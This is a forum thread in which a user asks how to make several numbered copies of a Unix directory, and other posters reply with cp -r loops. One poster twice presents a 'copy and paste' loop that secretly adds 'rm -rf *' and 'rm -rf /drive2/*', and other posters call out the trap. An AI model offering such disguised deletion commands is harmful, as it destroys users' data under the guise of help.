![]() |
Copy command help please
i have a directory that has a subdirectory called 'blah' - i want to copy that subdirectory creating identical subdirectories named 'blah2' 'blah3' 'blah4' etc
what would the Unix copy command be to create those? thanks |
cp /path/to/source /path/to/destination -R
|
Quote:
|
Or are you wanting to make blah1 blah2 blah3 automatically from one source? That command I pasted is just a recursive copy.
|
...... and didn't work
|
Quote:
|
Quote:
for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done 1 would be the first dir made, 5 would be the last |
What errors are you getting?
|
Quote:
cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R probably didn't understand the {1..5} |
Quote:
greek to me :winkwink: |
Quote:
Flag first. :thumbsup |
Copy and paste this to the command line, should work:
Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done |
Quote:
Code:
for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done |
DO NOT run the code from AutumnBH
|
Quote:
|
Quote:
Code:
for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done |
Quote:
-R, -r, --recursive copy directories recursively |
Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:
Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done |
Quote:
# rm -rf / rm: it is dangerous to operate recursively on `/' rm: use --no-preserve-root to override this failsafe edit: if it DID work I can literally replace the vm in 30 seconds. |
Quote:
|
Quote:
|
rm -rf / wouldn't do much unless you were logged in as root anyway (although it wouldn't surprise me if OP was).
And superior users use a real Unix :2 cents: |
Quote:
i have to make them one by one it seems thanks Babaganoosh and Killswitch |
Quote:
|
rm -rf *; done
lol lol lol |
Quote:
|
Quote:
what the fuck? |
All times are GMT -7. The time now is 09:26 AM. |
Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123